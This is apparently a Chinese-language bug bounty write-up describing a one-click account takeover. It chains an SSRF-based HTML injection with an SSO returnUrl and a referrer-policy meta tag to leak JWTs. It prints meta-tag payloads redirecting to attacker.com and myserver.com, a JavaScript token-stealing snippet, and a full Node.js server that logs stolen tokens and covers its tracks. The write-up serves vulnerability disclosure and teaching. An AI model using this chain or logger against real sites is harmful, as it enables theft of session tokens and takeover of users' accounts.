从HTML注入到一键账户接管的技术剖析

本文详细分析了如何通过链式利用SSRF漏洞实现HTML注入,结合OAuth流程中的referrer策略绕过,最终实现无需JavaScript的一键账户接管攻击。攻击者通过meta标签控制referrer策略和页面重定向,成功窃取JWT令牌完成账户控制。

从HTML注入到一键账户接管

作者:Marx Chryz Del Mundo

大家好,我是Marx Chryz,HTB CWEE、CPTS和CBBH认证通过者。本文将展示我发现的一个漏洞链,通过组合多个漏洞实现一键账户接管(1-click ATO)。这是一个类似CTF的漏洞。

引言

这是在某个有漏洞奖励计划的网站上发现的漏洞。由于是外部计划,我无法披露网站名称。截至撰写本文时,该漏洞尚未修复。因此,我们将目标网站称为redacted.com。

TL;DR:

  1. SSO流程接受指向任何*.redacted.com子域的returnUrl
  2. files.redacted.com在白名单中,且通过SSRF存在HTML注入漏洞
  3. 注入的HTML包含:
1
2
<meta name="referrer" content="unsafe-url">
<meta http-equiv="refresh" content="0;url=http://attacker.com/logger">
  1. 受害者通过OAuth流程被重定向到注入页面
  2. 浏览器将完整的Referer(包含?token=…)发送到attacker.com/logger
  3. 攻击者捕获令牌并接管账户
  4. 利用过程为一键ATO - 无需JavaScript,无需进一步交互

HTML注入

我在网站上发现了一个存在SSRF漏洞的端点,这允许HTML注入:

1
https://files.redacted.com/proxy?url=https://google.com

我原本以为这是一个简单的XSS到ATO,但我错了,因为内容安全策略(CSP)禁止执行JavaScript:

1
Content-Security-Policy: default-src 'none'; media-src 'self'

现在该怎么办?如何实现账户接管?我暂时搁置了这个想法,转而研究网站的认证方法。

认证方法

由于应用程序由多个网站组成,它实现了一个SSO端点,在从一个网站切换到另一个网站时检索JWT令牌。

JWT被传递给请求中指定的任何redirectUrl。然后,该JWT存储在第二个应用程序的localStorage中。

这意味着要获取JWT,我们需要入侵SSO或找到XSS来窃取localStorage中的JWT。

探索SSO功能

经过检查,端点经过了适当验证,只接受必须匹配*.redacted.com的有效returnUrl。我尝试了100多种绕过方法,但都没有成功。

常见的白名单绕过:https://redacted.com.attacker.com

但后来,我想起了一些事情!files.redacted.com在白名单中,而且由于SSRF/HTML注入漏洞,我可以控制其内容!

窃取令牌

如果files.redacted.com没有CSP,我可以在我的服务器上托管一个JWT窃取器:

1
2
3
4
5
6
7
8
<script>
// 从URL获取token
const urlParams = new URLSearchParams(window.location.search);
const token = urlParams.get('token');
console.log(token);
// 将token发送到我的服务器
location = 'http://myserver.com/logger?token=' + token
</script>

URL:

1
https://app.redacted.com/api/sso/me?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/

但由于CSP禁用了JavaScript,我们的利用在此失败:

1
https://files.redacted.com/proxy?url=http://myserver.com/ -> 失败

绕过CSP

我考虑过绕过CSP以启用JavaScript执行,但没有找到任何方法。

我考虑使用<meta>标签覆盖现有的CSP头,但这仍然不起作用。因为浏览器更重视CSP头而不是来自<meta>标签的CSP。

Meta标签

既然想到了<meta>标签,我想到了另一个meta标签功能。Meta标签可以重定向用户:

1
<meta http-equiv="refresh" content="0;url=http://myserver.com/logger">

它起作用了,我可以将自己重定向到我自己的域。但现在该怎么办?

如果我可以执行重定向,如何窃取JWT?我仍然无法使用meta标签执行javascript。让我们更深入地研究重定向。

重定向有Referer头

当网站重定向到另一个网站时,第二个网站可以看到第一个网站的URL。

这意味着如果我在自己的服务器上有以下代码,并在SSRF漏洞中使用它,/logger可以看到初始URL的完整路径!包括参数中的令牌!

1
<meta http-equiv="refresh" content="0;url=http://myserver.com/logger">

Referer: https://files.redacted.com/proxy?url=http://myserver.com/

结合所有内容。一键ATO的最终URL是:

1
https://app.redacted.com/api/sso?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/

嗯,我以为它会工作,但它没有,哈哈。默认情况下,只有URL的主机名部分包含在Referer中。这意味着完整的路径和URL参数不会通过Referer头发送。这意味着我们无法获取URL中的JWT :(

完整路径和参数未包含。没有JWT :(

又一个Meta标签

经过搜索,我们可以使用另一个meta标签来绕过默认的Referer行为!这个"unsafe-url"将发送完整的URL,包括路径和参数。

1
<meta name="referrer" content="unsafe-url">

最终利用

我的服务器配置

我使用nodeJS创建了一个简单的HTTP服务器,具有以下路由:

  • / → 包含2个meta标签
  • /logger → 记录Referer头并将其存储到logs.txt
  • /logs → 查看logs.txt的内容
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const PORT = 3000;

// Route: / → 发送包含referrer策略 + meta重定向的HTML
app.get('/', (req, res) => {
  res.set('Content-Type', 'text/html');
  res.send(`
    <html>
      <head>
        <meta name="referrer" content="unsafe-url">
        <meta http-equiv="refresh" content="0;url=http://myserver.com/logger">
      </head>
      <body>
        Redirecting...
      </body>
    </html>
  `);
});

// Route: /logger → 将IP + Referer记录到logs.txt并重定向到redacted.com以隐藏行踪
app.get('/logger', (req, res) => {
  const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress;
  const referer = req.headers['referer'] || 'None';
  const logEntry = `${new Date().toISOString()}, ${ip}, ${referer}\n`;
  fs.appendFileSync(path.join(__dirname, 'logs.txt'), logEntry);
  res.redirect('https://app.redacted.com/'); // 重定向回网站以隐藏行踪
});

// Route: /logs → 在HTML表格中显示logs.txt
app.get('/logs', (req, res) => {
  const logsPath = path.join(__dirname, 'logs.txt');
  if (!fs.existsSync(logsPath)) {
    return res.send('<h1>No logs found</h1>');
  }
  const rows = fs.readFileSync(logsPath, 'utf-8')
    .trim()
    .split('\n')
    .map(line => {
      const [date, ip, referer] = line.split(', ');
      return `<tr><td>${date}</td><td>${ip}</td><td>${referer}</td></tr>`;
    });
  res.set('Content-Type', 'text/html');
  res.send(`
    <html>
      <head>
        <title>Logs</title>
        <style>
          table { border-collapse: collapse; width: 100%; }
          th, td { border: 1px solid #ccc; padding: 8px; text-align: left; }
        </style>
      </head>
      <body>
        <h1>Access Logs</h1>
        <table>
          <tr><th>Date</th><th>IP</th><th>Referer</th></tr>
          ${rows.join('\n')}
        </table>
      </body>
    </html>
  `);
});

app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

一键ATO有效载荷

1
https://app.redacted.com/api/sso?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/

POC

当用户访问上述URL时,我们现在可以看到受害者的JWT。

报告时间线

  • 2025年8月6日 — 漏洞提交
  • 2025年8月8日 — 漏洞分类(标记为中等 😂)
  • 2025年9月2日 — 发现绕过方法(他们标记为重复 😂)

漏洞奖励

HTML、SSRF、JWT、漏洞奖励报告

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计